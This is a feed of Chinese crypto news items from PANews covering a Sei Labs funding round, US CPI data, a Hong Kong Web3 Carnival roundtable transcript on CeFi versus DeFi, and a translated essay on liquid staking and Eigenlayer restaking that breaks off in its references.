    Sei Labs生态基金完成5000万美元新一轮融资，Bitget和Foresight Ventures参投
    PANews 4月12日消息，据《财富》Fortune报道，在刚刚完成一轮估值为8亿美元的融资后，Sei Labs再次宣布其生态基金完成5000万美元新一轮融资，总部位于塞舌尔的加密货币交易所Bitget和Foresight Ventures参投，截止目前该公司的融资总金额已达到1.2亿美元。据悉，在一个月前推出的最新公共测试网中，Sei已经处理了超过4000万笔交易，并有超过360万用户创建了钱包。 此前报道，Sei Labs完成两轮共计3000万美元战略融资，Jump等参投。  ( 1 min )
    美国3月未季调CPI年率5%，低于预期
    PANews 4月12日消息，据金十报道，美国3月未季调CPI年率5%，预期5.2%，前值6.0%。美国3月季调后CPI月率0.1%，预期0.20%，前值0.40%。美国3月未季调核心CPI年率5.6%，预期5.60%，前值5.50%。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.12）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    2023香港Web3嘉年华圆桌丨产品创新：CeFi vs DeFi
    编者按：2023香港Web3嘉年华于4月12日举办了题为“产品创新：CeFi vs DeFi”的圆桌论坛，本文为此圆桌论坛速记内容，如下： 之前的讨论中，谈到了CeFi、DeFi哪个会更好？还是它们可以结合在一起？下面是关于CeFi和DeFi的产品创新，我们也非常荣幸能够请以下这些嘉宾上台，包括： 圆桌讨论“产品创新：CeFi vs DeFi”中，分享和讨论两者的创新可能以及未来发展前景。Matt是本场圆桌的主持人，有请各位上台。 Matt Long（主持人）：非常感谢大家加入今天的论坛，非常荣幸能够来到这里和大家探讨一下CeFi和DeFi的争论，我是Matt Long，FalconX亚太区总经理，在数字资产市场空间里最大的代理商，非常荣幸和大家进行交谈，主持这个论坛。 过去6个月，我们看到非常好的机遇进行一些健康的探讨与争论，特别是围绕着CeFi和DeFi之间，我们将要谈的是DeFi和CeFi产品创新，它们的未来是怎么样运营的？下面请每一位嘉宾先介绍一下自己的公司，然后再进一步谈一谈CeFi和DeFi的辩论。 Henry Zhang：大家下午好！我是Henry Zhang，我是DigiFT的创办人及CEO，DigiFT是一个安全通证的DEX，我们是一个监管的DEX，可以用于证券代币、证券通证，我们是新加坡监管局的监管沙盒里进行应用，我们也是第一个授权的。 Dovey Wan：我是Dovey Wan，我是这个论坛里唯一的DeFi的人，所以我要守护DeFi。Primitive Ventures是2018年成立的加密货币原生公司，我从2014年开始作为天使投资者投资了很多协议，2017年投资了很多公司。我们也是比较早期的投资者，有一个比较乐观的开端，后来我们也支持了一系列的企业，这些都是我们的投资组合。 我们的创办人对于未来“超级DeFi”非常有信心，非常看好，我也愿意跟我的CeFi几位朋友进行健康的辩论。 Moses Lee：大家好，我是Moses Lee，我代表了Anchorage Digital亚洲，Anchorage Digital是一个特定功能的机构去参与数字资产，我们是一个监管的数字货币平台，有合格的管护、清算、交易和线上服务、链上服务，我们有相关的管制和治理。 我们为客户提供基础设施，建立他们的数字资产产品，我们受到监管，而且我们也是CeFi和DeFi两者支持者。 Damlen Ho：我是Damlen，Binance全球伙伴关系的团队成员。 Binance是世界最大的加密货币交易所，去年也转向Web3的生态系统，所以我们也是不断招募外部的合作伙伴，推动生态系统解决方案的接纳，我目前也回到香港了，期待跟大家进行讨论，谢谢！ Matt Long（主持人）：感谢各位的介绍。 未来会怎么样？是CeFi，还是DeFi？ Dovey Wan：必须得是DeFi，过去12个月所有的大失败是CeFi的问题，你所创造的这些东西，对于加密原住民来说，现有的银行面临的危机都是CeFi的问题、中心化的金融问题。 可能对于中国、俄罗斯这样的国家来说，所有的政府把它的设计外包给美国，这就是一个Bug，没有竞争。美国能做的是什么？把他们的东西也外包出去，而且他们对系统非常满足。 我觉得在微层面来说，消费者是没有选择的，因为所有的金融服务都是被这些大银行和大支付商整合了。我们通常声明读了这个要同意它，所以金融服务不管你要的是什么，它是缺乏竞争的。所以我不想说DeFi或者CeFi会互相吃掉对方，但是我对开放市场比较倡导，我建议无批准的，所以需要一个健康的发展性市场，让市场去选择最好的参与者。 对于DeFi来说，没有任何脂肪存在，它是最瘦的。当CeFi和DeFi开放竞争的时候，每一次我们都不同意，你要去怪系统，不要怪人，但这就是一种自我的麻木，它是毫无疑义的，因为所有的CeFi系统设计都是那几个人做出来的，就是一个黑盒子。 如果我们怪这个系统，就没办法改变，因为我们不能改变系统，但是谈到DeFi，他们没有最后一段路。像LUNA已经拍到地上了，它是开放型的竞争，我们对于系统不满意，它有纰漏的话，它就会完蛋，我们重新设计。所以DeFi是唯一一个原生的地点，可以让你去改变，把改变实施，甚至是匿名的开发者也可以参与，所以DeFi天然不需要允许它是对未来开放的。 Matt Long（主持人）：你要不要说一些介绍？ Damlen Ho：首先我喜欢DeFi，我觉得DeFi非常棒，但是CeFi也得到了很多公众和监管的关注，就像任何一个高速增长的科技领域。 金融服务行业DeFi，就像最近的AI也是一样，整个加密行业普及率还是比较低的，不到5%，我们仍然看到CeFi和DeFi共同都有很多发展机会。 就CeFi来说，任何一个大规模采纳的新技术都必须有几个关键因素： （1）规模可扩充性。 （2）更好的用户体验、用户界面。 （3）更多的使用案例情境。 我们一直在非常努力地在这三方面满足需求。 举个例子，VC投资来说，投资了超过2200多个项目，我们不仅仅做投资，我们也提供专业知识和基础设施的支持，支持这些项目更好的发展。今年早一些时候，我们刚刚推出了新的金融DeFi钱包新版本，有很多用户之前不太愿意用DeFi，因为他的DeFi钱包以前比较复杂，需要记住一个非常复杂的词，现在推出的DeFi钱包应用使用非常方便，只要点击几下就可以设好，也不需要记住这么长的一段，所以可以方便使用，也方便用户连接各种DeFi的解决方案。 除了DeFi和CeFi，以后也会有社交Fi，还会有其他的，为大家提供更加安全、更快的解决方案。 谢谢！ Matt Long（主持人）：Henry的业务也是非常有意思的，能不能介绍一下从你们的角度怎么看待CeFi和DeFi的比较？ Henry Zhang：我的立场和观点比较居中，CeFi和DeFi并不是相互排斥的，从前大多数的金融体系中，它设计、成立、建立都是集中的，集中的结构有它的优点。区块链的出现是非常了不起的创新，因此也带出了DeFi去中心化金融的概念。 去中心化金融也有明显的优势，我的立场和观点比较居中，DeFi和CeFi并不是相互排斥的，从前个大多数金融体系设计成立都是集中的，集中的结构有它的优点。现在看到区块链创新，区块链的出现是非常了不起的创新，因此也带出了DeFi去中心化金融的概念，去中心化金融也有明显的优势。但是DeFi和CeFi不应该是互相排斥的，应该结合两者的优点实现具体用途。以DGFT为例，我们是受监管的X4（音）安全代币，和真实资产相挂钩，因为受监管，就必须做KYC，大部分KYC都是集中式的，不管大家喜不喜欢，KYC一定是集中的。 另一方面，作为去中心化平台，并不持有客户资产，客户资产是放在自己的钱包里，有他们的密钥来管着。 因为我们是用公共链的数据，几乎所有数据都是公开的，人们都可以看到，因此你不需要是我们的成员也可以看到数据，数据非常透明，这显然就是DeFi的好处。 在我们看来，CeFi和DeFi并不是0和1之间的取舍，而应该是基于两者之间，你可以选择0和1之间的点，比如说0.8、0.9，也可以有一些解决方案可能看上去是0.2或0.3，看上去更像是CeFi，现在在非常激动人心的时期，有很好的机会结合两者的优点，有人更有兴趣做DeFi，因为CeFi存在市场上已经几百年了。而DeFi刚刚才出现，历史还不到十年，有独特的优点，更加丰富。 Matt Long（主持人）：在几位嘉宾中，Anchorage是联储银行成员，你们怎么看待CeFi和DeFi？ Moses Lee：我先讲一下信任问题，在我们说DeFi的时候，经常说的是无需信任的，不需要去信任，你去验证就可以了，但如果你真的稍微花点时间想一想，你会认识到信任在CeFi和DeFi两者之间是共通的。 为什么这么讲呢？我们只不过是用不同的方式用信任，CeFi信任的是中央中介中间机构，由它来执行商业行为。而DeFi没有中央集中的中介机构来信任，但实际上参与的所有各方都会去都会去验证、认可协议你信任的基础设施。不管是CeFi还是DeFi，都有信任的元素。 讲一下基础设施，CeFi加密货币去年有非常重大的事件发生，也看到了基础设施层面对信任的破坏，还有监管层面的问题。 DeFi也有很多糟糕的事情，去年也好，今年也好，在未来也好都会有。主要问题在于围绕CeFi和DeFi基础设施都需要改进。会有在CeFi里面需要改进的地方，最主要是在监管上，DeFi这边则需要在编码方面改进。怎么样与之互动？怎么样把包容性技术做好？ Dovey Wan：我稍微补充一下，现在都说信任就是一种社会货币，作为人来说，我们都是根据信任做出决策的，每天都有一些骗局在发生，也有一些危机发生，也有破产发生。用户怎么样去验证呢？用户无从验证，甚至连监管方也不知道发生了什么，在事情发生之后Gavin 和SBF见面，他都不知道发生了什么。责任和验证非常重要。毕竟存在信息不对称性，之前发生的所有丑闻都是来自于信息不对称性。 CeFi的丑闻和危机最后都变成了一种免费的市场宣传，可以在线交易急剧上升，就好像FTX扩展之后全部都转向GMS和其他的。 我认为在未来，CeFi会变成像ATM机器一样，一旦用户已经在用了加密货币之后，这就好像KYC，你只需要通过KYC，不需要多次KYC，因为成本也很高。在未来如果变成ATM，DeFi就会像“黑洞”一样吸走所有CeFi的流动性。 我觉得未来金融可能会变成这样。 Moses Lee：有时候人们可能会有误解，以为我们就是一家银行，其实大部分人都没有认识到Anchorage digital其实是加密原生组织，我们是世界上第一家加密原生银行。意味着什么呢？意味着我们结合了监管体系，我们提供加密区块链透明度的一部分。今天在这里说CeFi和DeFi，位置非常独特，我们认为CeFi会继续展现加密货币的优点，加密货币也会给大众带来越来越多的赋能。 Matt Long（主持人）：在某种程度上我们都同意最终会是CeFi和DeFi的结合，或者可以再造一个新词“CDeF”， Dovey Wan：CDeFi会是一种混合，尤其对普通用户来说，我们不得不承认现在银行还是非常强大的，未来需要两者之间的结合才能让更多用户采纳。 Matt Long（主持人）：接下来想问关于产品的问题，产品发展、产品创新。你们认为产品创新、产品发展到了什么阶段？在近期未来会是什么样的发展？ Damlen Ho：最近会看到一些技术结合，就像刚才说的CDeFi，在金融行业正在非常努力地试图增加大众采纳，会开发一些多元化使用情景。 就在几个星期前刚刚推出了NFT generator（音），叫ISO Picasso（音），用户可以上传他的一张照片，就可以生成AI几个版本的图片。用户可以选择点赞还是不喜欢把它扔进垃圾桶，有点像传统的CeFi平台和AI技术的结合。推出之后马上就受到了热烈的欢迎，马上就突破了10万点赞门槛。短短5个小时内已经全部达到了交易的天花板。 在产品创新方面还有很多可做的，有新的产品和新的服务会出现。 Matt Long（主持人）：问一下Henry，说到产品创新，产品推出到市场上之前一定会做很多工作来平衡符合监管的需求。 Henry Zhang：我们发现跨界、融合、混合会是趋势，现在有全新的DeFi概念，就像我刚才所说的，我并不觉得CeFi和DeFi是完全互相排斥的。这两者的结合、交叉、跨界会带来很多价值。 我们有做代币化，创造价值。我个人非常喜欢这些加密资产。但是加密资产确实有一些限制，比如说选择有限，加密原生资产关联性非常高，当市场波动的时候，尤其是在熊市的时候，投资者非常需要多元化，但他们的选择又非常有限。 是不是可以跨界把其他相关性比较低的资产结合进来，比如说美国国债、固定收益产品、权益类产品，把这些也拿过来结合在一起，至少这样能够让你在市场上给投资者的选择更多一些。 什么是DeFi？DeFi的定义是什么？人们可能从不同的角度来用DeFi一词。我可以给出我的解释，DeFi在去中介化、去金融介质化方面做了很大贡献，意味着从A点到B点可以直接互动，而且保证了透明度和信任，可以说是取消减少了不必要的中间服务，这是关键价值。我们也尝试在实践中做打包，结合他们的优点。 Matt Long（主持人）：问一下Dovey ，你作为投资者，会愿意投资什么样的产品创新？ Dovey Wan：我们投资一些非常原生的创新，不知道大家有没有关注最近的发展，比如说FlashLong（音），它是没有抵押的，但是可以借到非常多的钱，甚至是上亿、10亿，只有DeFi才能做到这一点，其他的无法做到。在CeFi方面做不到这一点。 像FlashLong（音）是一种非常有意思的应用。 我们还在投资一些去中心化的交易，比如说GMS，有什么不同呢？币安是通过交易、交易费、清算赚了很多钱。但是GMS呢？把所有收益都配给那些提供流动性的各方和GMS代币持有人，好像是“赌场”一样，散户总是亏的，所以赌场是非常好的生意，GMS在过去一年半的时间里已经做到了1200亿交易量，也发放了大概2亿左右的发放给代币持有人，好像是交易民主化。币安需要和链下DMM合作，而去中心流动性促进是我们非常看好的，所以FlashLong就像“黑魔法”一样。 以太坊上海升级以后我们也非常感兴趣，Lliquidsticky（音）就相当于你把你未来收益卖出去，有点像是主权债券、股权国债，是无风险收益。Lliquidsticky（音）产品普通用户也可以参与。我认为DeFi是未来经济的前途方向所在。 Matt Long（主持人）：经过前面几个月的事情之后，相互隔离的托管现在受到大家的很多关注，你们怎么看？ Moses Lee：你说的是隔离托管，人们说它是不是去年就应该做的事，现在看起来好像是非常常识性的事，但隔离托管有很多种不同的形式。Anchorage digital的重点不止是接下来该怎么做，而是应该提供什么样的基础，让其他公司可以在基础上建设。 举例来说，用我们的先进托管解决方案确保所有资金，不同客户资金在链上是相互格局的，不仅是在数据库层面，而且是在链上的，是可验证的，让审计可能性提高，也能够更好地体现区块链优势。 像Anchorage digital这样的CeFi监管公司，就能够延伸区块链优势。我们会继续这样做。作为基金会会继续这样做，也希望能够增进信任。 在CeFi领域，机构之间的信任非常少，我们则希望把信任找回来，希望像“矛”一样赋能区块链交易，从CeFi公司到其他各方，把信任找回来。 Matt Long（主持人）：最后一个问题，你们对CeFi、DeFi、CDeFi最担心的是什么？最激动的是什么？ Damlen Ho：我对未来感到更激动、兴奋，而不是更担心。 我们都知道，集中化并不是二进制，在市场里有很多机会可以供CeFi、DeFi使用，两种技术间会有整合，确实有很多机会可以共同成长。DeFi或其他规划是相对新型可接受式的加密货币，还有香港、纽约、伦敦作为世界金融中心，Web3时代非常清楚，激励了亚太区成长，让其他市场跟随投资于Web3生态系统。 Moses Lee：非常兴奋新加坡和香港的监管机构这样发展，为什么兴奋？不仅仅是加密监管，需要DeFi、加密货币在亚洲繁荣发展。因为我们还是比较早的，所以加密公司需要重金发展它，这也是非常积极的趋势，非常兴奋地到加密系统在亚洲的发展前景。 Dovey Wan：在系统危机后，像Google银行、瑞幸贷基本触发了一种运动，美国把美元“武器化”太长时间了，他们把政府作为产品，又没有竞争，我们给政府交了订阅费用，在政府之间应该要有竞争的，银行系统也应该是这样的。对新加坡、香港和其他小型但更加具有创新力的地方政府来说，是非常黄金的机遇，也是一种唤醒。 当危机来的时候，你需要被唤醒，链上钱包巨大增多，硬件钱包也不断增多，并且在东南亚崛起，这是主权外移的第一步。很多国家没有货币主权，像萨尔瓦多这样的国家虽然非常小，但是有进步性，很创新，他们会推动主权，不仅仅是货币政策，还有基本人权的发展，因为基本人权是每个人的产权。 过去十年看到了政府失败的加速，还有法币失败的加速，必须要理解科技的价值，而不仅仅是代币本身的价值。 Henry Zhang：对我来说最令人兴奋，也最令人担忧的部分都是围绕着法律法规。一方面看到像香港、新加坡这样的国家政府、监管机构会更多愿意拥抱Web3行业，非常令人兴奋，因为他们是对创新比较友好的。另一方面，也没有看到太多边界，和谁交易，交易什么？在哪里交易？这点不太清楚。 一方面要保护消费者，保护市场秩序。另一方面也要鼓励激励支持创新的发生发展。在这方面还没有看到太多清晰内容。在理想阶段，需要政府支持负责任的创新，需要监管方支持，因为创新总是先于监管、先于法律。这是事实，不可能在创新之前就有法律了。希望监管者进来维护市场秩序，控制坏。另一方面，希望监管方可以鼓励、支持负责任的创新，要不然想要获取监管，想要有职责有责任的可持续性创新参与者就会处于弱势之地。 Matt Long（主持人）：大家是不是都同意CeFi和DeFi可能不一定是正确的选择，但其实两者之间是合作性、互动性的参与。 Dovey Wan：当时DeFi应用还“不是个东西”，是不可以变形的金钱，行业之初就有了DeFi，只不过是不同的名字、不同的叫法。 CeFi和DeFi两者的融合肯定会发生，当然会带来一些挑战。比如说对于监管方来说，怎么样才能够维护维持它？未来可能是混合的版本，一旦能够像普通用户那样创造加密货币原生世界时，那就是真正新的全新的勇敢的世界，这是我的愿望。 Moses Lee：从我们的讨论中最明显的作用是加密货币有公用、通用的作用。我们接触机构性客户比全球大部分都多，上个月开始在比特币方面有些疯狂的事情，要开始对冲风险。 Dovey Wan：四年前叫做Bank and Bank，现在我们拥有银行，要Bank the Bank，为了银行做事情，这就是我们的愿望。 Matt Long（主持人）：谢谢！大家给我们分享CeFi和DeFi之间的观点，掌声送给各位嘉宾！  ( 2 min )
    为什么Eigenlayer能引领多重质押叙事？
    原文：《The Ultimate Narrative of Multi-Dip Staking》by 0xfishylosopher 编译：Kate, Marsbit 简介 自2022年9月以太坊合并以来，权益证明 (PoS)已经成为除比特币外所有主要L1链的主流共识机制。正如一再被吹捧的那样，PoS相比比特币的工作量证明(PoW)有几个优势，比如更环保，硬件准入门槛更低，以及使用有效的经济激励而不是暴力计算优势来保证交易安全[1]。 经常被忽视的一件事是，“质押（staking）”行为本身就是一种极大地改变了DeFi的行为，质押中的收益激励成为DeFi机制创新的跳板。在本文中，我将探讨所谓的“多重质押”的出现，即用户能够从单一质押存款中赚取多倍收益。具体来说，我认为这是一个元叙事，结合了流动性质押衍生品(LSD)、上海升级、以及Eigenlayer对未来质押的影响的叙事，并将在以太坊生态系统内外产生影响。 流动性质押（Liquid Staking）是最早也是最重要的基于质押的DeFi创新形式之一，在许多方面是以太坊历史的副产品。2020年底，作为以太坊从最初的工作量证明共识机制向权益证明共识机制长期过渡的一部分，“信标链”上线了，最初是作为一个独立的运行PoS的区块链，并与主网交易分离，以确保协议安全[2]。验证者可以存入至少32个ETH来保护信标链，并承诺验证者会为此获得奖励。然而，验证者无法在本地ETH中提取他们的质押存款和奖励，直到上海升级后完成向质押证明的过渡(我们将在后面讨论)[3]。所以所有的资本都只是呆坐在那里，像一只跛脚鸭被卡住。总得有人做点什么吧。 进入流动性质押。基本前提很简单：当你通过流动质押服务(如Lido)质押一个代币（例如 ETH）时，该流动质押服务将向你返还一个IOU代币，保证你可以通过质押收益赎回本金和任何应计“利息”。这些借据（IOU）被称为“流动性质押衍生品”，简称LSD。LSD的最大优势是它可以实现更高的资本效率，因为这些借据，如Lido的stETH，可以在二级市场上交易，并用于DeFi应用程序，就像使用原生代币一样。当然，由于暂时无法赎回，所有这些借据都是由以太坊社区的信任来担保的，相信最终PoS的转换将完成，验证者将能够解除他们的抵押存款。从这个角度来看，人们可能会说，LSD本质上是债券，在上海升级后到期并产生利息。 至关重要的是，LSD允许利益相关者鱼与熊掌兼得：可以获得在信标链上质押的回报，同时(至少在一定程度上)拥有基础资本的流动性，随时可以重新分配和重新抵押。这个过程在TradFi中也被称为再抵押，其中相同的基础资产(比如10个ETH)被用作许多不同用途的抵押品，因为你可以使用相同的10个ETH在信标链上抵押并获得奖励，也可以使用stETH LSD作为DeFi贷款的抵押品[4]。换句话说，同样是10 ETH的本金，你是双倍的利息。 Liquid Staking 的不同实现。改编自：https://twitter.com/0xYugiAI/status/1636787968160731136 有各种各样的方式参与流动性质押，既可以通过中心化的交易所(如Coinbase)，也可以通过去中心化的提供商(如Lido和Rocket Pool)。此外，不同提供商实施流动性质押的方式也各不相同。具体而言，Staking 奖励主要有以下三种方式 [5]： 流动性质押衍生品不同实现方式分析 ETH2流动性质押与上海升级 由于上述历史原因，以太坊2.0的流动质押衍生品市场是最成熟和最活跃的LSD市场。目前以太坊LSD市场高度集中，Lido占主导地位，约占75%的市场份额。尽管如此，如图所示，流动性质押提供商的多元化有所增加，Coinbase和Rocket Pool分别占15.6%和5.8%[6]。 从根本上说，LSD市场是由两种相互抵消的力量形成的：流动性的中心化力量和安全性的去中心化力量。与大多数DeFi协议一样，流动性对于LSD项目的成功至关重要。随着流动性的增加，越来越多的DeFi项目信任LSD，并愿意将其用作抵押品。这就产生了一个自我强化的反馈循环，因为LSD在DeFi中采用的增加将允许它获得更多的用户，这增加了LSD的流动性，反过来进一步扩大了它在DeFi中的采用。可以说，这种飞轮效应是Lido在LSD市场上保持主导地位的最重要原因。Coinbase作为流动性质押提供商的迅速崛起也可以通过这个框架来解释，因为它能够利用其在交易所无与伦比的流动性来快速启动这个流动性飞轮。 然而，也有去中心化安全的力量。大多数区块链都被构建为拜占庭容错，只要不良行为者不控制超过1/3的验证者[7]，就可以保证有效。在PoS系统中，危险区域是，如果单个质押提供商控制区块链上超过33%的质押ETH，因为该提供商的单个黑客攻击或漏洞可能危及整个系统交易的安全性。关键是，Lido已经接近这个上限。根据Dune Analytics的数据，目前约有43%的ETH是通过流动性抵押池(如Lido、Coinbase、Rocket Pool等)进行的，其中Lido占据了74.2%的市场份额。这意味着Lido控制着近32%的ETH质押，危险地接近可能存在系统性安全风险的中心化点。因此，以太坊社区有巨大的动机远离Lido，积极使用和推广替代的流动性质押提供商，以保持足够的去中心化，从而保证底层的安全性。 ETH2 LSD领域的一个关键变革性事件是计划于2023年4月举行的上海升级。如前所述，上海升级将允许之前发行的IOU(即stETH等流动性质押衍生品)最终从信标链中赎回，从而可能颠覆流动性质押市场。在短期内，可能会有巨大的解除质押和抛售压力，因为验证者在经过两年半的等待后终于能够提取他们的ETH。大约100万ETH的质押奖励将有资格在上海升级当天提取，约占每日交易量的10%[8]。随着用户蜂拥提取质押奖励，这可能会造成恶性循环，并对较小的流动性质押提供商构成流动性挑战。 主L1 链的质押比率。来源：原创内容。数据来源：Staking Rewards, 2023 年 4 月 2 日访问 然而，从长远来看，上海升级可能会加速以太坊的流动性质押市场。目前，以太坊的质押仅占其总交易量的15%左右，而其他主要PoS链占60% - 70%[9]。其中一个原因可能是因为验证者目前无法从信标链中提取他们的质押。因此，在上海升级之后，以太坊的质押比例可能会达到三倍或四倍，达到50-60%，大致与其他PoS同行相当。随着质押提款的实现，上海升级也可以激励散户参与者进入该行业，从而增加通过Lido、Coinbase和Rocket Pool等流动性质押池(中心化和去中心化服务)进行质押的ETH比例。 如前所述，由于 LSD 市场去中心化存在很大的安全激励，上海升级后LSD需求的增加可能极大地有利于Rocket Pool和Frax等中型玩家，同时也可能催生一整代流动性质押协议，这些协议可能以与上述三种常见方法截然不同的方式实现LSD模型。然而，从长远来看，由于流动性的集中效应，我预计LSD市场将实现寡头垄断的平衡，几个LSD项目每个都占据了ETH的10-20%。 然而，上面介绍的流动性质押衍生场景只是“多重质押”的冰山一角。生态系统中最近最重要的发展之一是“再质押（restaking）”作为一个概念的兴起，这种说法因2023 年 2 月Eigenlayer 白皮书的首次亮相而流行。在白皮书中，Eigenlayer将自己描述为一个“再质押集合”，允许验证者“选择验证构建在以太坊生态系统之上的新软件模块”[10]。但这具体意味着什么呢？它在以太坊生态系统中实际上解决了什么问题？ 从本质上讲，所有在以太坊区块链上运行的DApp智能合约都由以太坊验证节点保护，这提供了非常强大的安全保证。但随着DApp变得越来越复杂，它们开始需要许多其他移动部件，包括桥、预言机和其他形式的中间件，这些中间件不能存在于以太坊区块链上，因此无法通过以太坊验证节点进行保护。许多中间件项目使用自己的区块链(如Chainlink)，使用自己的验证节点运行自己的区块链，或者在中心化服务器上运行——简而言之，这些方法不具有以太坊验证节点所保证的安全严密性[11]。 实际上，这些预言机、桥和其他中间件经常存在“验证节点启动问题”，为这个项目设置验证节点既昂贵又耗时，不一定值得信赖，而且容易受到攻击[12]。Eigenlayer旨在通过允许项目定义一组验证规则并使用这些规则来“借用”以太坊的验证节点来解决这个问题，作为自己的验证节点的替代方案，从而为这些项目提供更强的安全保证。 解释了 Eigenlayer 生态系统的不同部分。来源：原创内容 如上所示，Eigenlayer的生态系统有几个活动部分和利益相关者，因此乍一看可能很难理解。因此，让我们将其分解为系统中每个不同的利益相关者(双关语)，并解释为什么Eigenlayer的设计使他们受益。 中间件项目可以说是Eigenlayer生态系统中最重要的部分。这些通常是从最终用户移除1-2级的基础设施项目，包括Rollup排序器、桥、预言机和RPC节点[11]。中间件项目不需要自己启动验证节点(我们之前讨论过这是有问题的)，只需要定义两件事：任务和奖励。对于该任务，中间件项目需要定义验证和罚没规则，对于奖励，项目需要定义如何奖励验证者。直观地说，可以把这看作是一份招聘启事：你定义在这个职位上需要做什么(例如：翻转汉堡一小时)，以及你的报酬(例如，最低工资15美元)。有别人帮你翻转汉堡，你就可以去做生活中更有成效的事情。 验证者是为这些中间件项目翻转汉堡的人。但他们也很挑剔，毕竟，这里是个自由市场。有了所有这些中间件“招聘启事”，验证者可以自由地选择中间件项目和奖励的任何组合来验证，就像自助餐一样。由于不同的验证者可能有不同的专长和风险偏好，这将导致不同的验证者保护不同的中间件项目，并选择不同的“再质押”组合，从而提供不同的验证者收益。所有这些收益也将是以太坊基础层基础收益的补充。 面向用户的DApp，如去中心化交易所、借贷平台等，仍将构建在以太坊基础层上。然而，在Eigenlayer生态系统中，它们将与构建在Eigenlayer之上的中间件项目进行交互(由再质押验证者保护)。与现状相比，使用受eigenlayer保护的中间件将使顶层的面向用户的DApp更加安全。 除了与面向用户的DApp (反过来使用Eigenlayer)交互之外，用户还可以通过LSD直接与验证节点交互。具体来说，每个验证节点都可以选择发布他们自己的LSD，不同的项目组合会产生不同的收益。反过来，用户有多种收益策略可供选择，并可以根据自己的风险状况量身定制“多点”质押策略。 因此，从理论上讲，Eigenlayer希望为各方提供一个双赢的解决方案。但是这样的系统有什么影响呢？首先，随着不同的验证者重新质押到不同的项目，它们将有不同的收益率APY，如上所述。由于每个验证者可能会发布自己的LSD，这可能会导致市场上出现无数的 LSD。现在回想一下，我们已经确定，为了让LSD项目蓬勃发展，它们需要一个流动性护城河，因为只有通过足够的流动性，DeFi项目才能信任这些LSD。如果每个验证者都释放自己的小xETH, yETH, zETH LSD，这可能会导致流动性池非常破碎，从而阻碍LSD在DeFi再质押中的作用。 其次，这里的“干扰因素”是什么？换句话说，验证者可以“工作”的“作业”数量是否存在上限？目前尚不清楚这里的约束是什么，以及验证者的每个“作业”如何工作可能会干扰其他作业。这里的现实生活类比是，我一天只有这么多工作时间和精力，所以不可能做无限份工作。了解这个干扰因素是非常重要的，因为它直接影响到不同项目中验证者的分布和重叠，这反过来又保证了每个验证者给出的收益策略的多样性，进而影响由此产生的 LSD 市场可能变得支离破碎。 第三，还有系统性风险的问题，Eigenlayer是否会带来了再中心化的风险。具体来说，Eigenlayer本身可以访问验证者的质押(因为它需要应用奖励/罚没规则)，可能代表单点故障，如果被利用，大量ETH可能被窃取[13]。一旦以太坊上相当大比例的验证者选择加入保护Eigenlayer项目，这将成为一个越来越重要的问题，因为它会像滚雪球一样成为以太坊本身的重新中心化，与项目和网络的最初目的背道而驰。为了对抗这些系统风险，Eigenlayer提出了一个EigenDAO和一个由经验丰富的以太坊、Eigenlayer、基础设施和应用程序开发人员组成的监督委员会，他们将审查和解决系统风险[13]。但这样一个机构的可行性、透明度和有效性仍有待观察。 最重要的是，Eigenlayer是一个革命性的项目，它解决了一个真正的需求，并承诺以一种新的方式来构思参与者在以太坊生态系统中扮演的不同角色。然而，由于这是一个革命性的飞跃，因此也就不可能抽象地理论化和预先预测该项目的全部含义。只有时间会告诉我们，它对生态系统中所有利益相关者的双赢愿景是否切实可行，以及它是否足够强大，能够抵御对抗和恶意攻击。 到目前为止，我们的讨论集中在以太坊生态系统上的“多重质押”。但当然，以太坊并不是唯一的PoS链，在其他PoS链上也绝对有可能进行多重质押。正如我们之前所暗示的，已经存在用于替代PoS链的LSD，例如Lido的stMATIC、stSOL、stKSM和stDOT。但在这种情况下，LSD是否真的会增加代币本身的价值，这是值得怀疑的。可以说，以太坊LSD的成功是由于其特殊的历史环境(信标链不允许提款)，以及其强大的DeFi生态系统，释放了LSD所允许的资本重新分配的全部潜力。这并不一定适用于所有PoS链，因此，为这样的链发布LSD实际上可能不会增加底层代币的价值[14]。 一个更有趣的问题是，像Eigenlayer这样的再质押想法是否可以在其他生态系统中成立。考虑到某些网络特征，我相信它可以。首先，底层网络的验证者是足够去中心化的。对于许多PoS链，它们的验证者是高度集中的，由单个实体控制。这意味着拥有一个像Eigenlayer这样的再质押机制不会增加基础设施协议的去中心化和安全性，因此实施起来毫无意义。其次，这个网络需要有足够的基础设施需求。换句话说，一个生态系统需要有足够多的桥、预言机、排序器和其他中间件项目，这样它就保证了有一个类似Eigenlayer的再质押机制的必要性。 考虑到这两个先决条件，我相信最能满足这些条件的生态系统是Cosmos Network。首先，Cosmos Hub具有足够去中心化的验证者，因此可以为其他项目(或者在Cosmos的情况下，使用Cosmos SDK构建的其他链)提供相对强大的安全保证。其次，在Cosmos上对这样的系统有足够的需求，因为许多链确实面临验证者启动问题，并且有许多基础设施项目构建在Cosmos SDK之上。 事实上，Cosmos v2.0白皮书对区块链间安全框架的愿景与Eigenlayer对以太坊的愿景非常相似，因为IBS框架本质上允许Cosmos链从Cosmos Hub“借用”验证者来解决验证者启动问题，并且最终用户可以用ATOM代币在多个Cosmos生态链上获得收益。尽管Cosmos v2.0的白皮书最终被其社区否决，但IBS框架最近以压倒性的投票[15]获得了批准，因此我们可以期待这种“多重质押”的想法也会逐渐出现在Cosmos生态系统中。 总的来说，在这篇文章中，我们深入探讨了“多重质押”的思想，通过以太坊网络上的流动性质押衍生品追溯到上海升级，到Eigenlayer在改革流动性质押中的意义，最后讨论了以太坊之外的“多重质押”机会。通过这些内容，我希望我已经解说了权益证明本身如何解锁无数新的DeFi机会，以及一系列新的激励、风险和机会。毕竟，这看起来确实有很多利害关系。 参考文献 [1]参考PoS的好处：https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/ [2]信标链：https://ethereum.org/en/upgrades/beacon-chain/ [3]上海升级：https://coinmarketcap.com/alexandria/article/ethereum-s-shanghai-upgrade-everything-you-need-to-know [4]参考https://coinmarketcap.com/alexandria/article/the-ultimate-guide-to-ethereum-liquid-staking [5]改编自Twitter thread [6]数据和后续计算来自Dune的仪表盘，2023年4月2日：https://dune.com/eliasimos/Eth2-Liquid-Staking [7]参见BFT解释：https://decrypt.co/resources/byzantine-fault-tolerance-what-is-it-explained [8]上海升级的短期波动效应：https://www.coindesk.com/markets/2023/02/17/unlike-merge-ethereums-shanghai-upgrade-could-bring-price-volatility/ 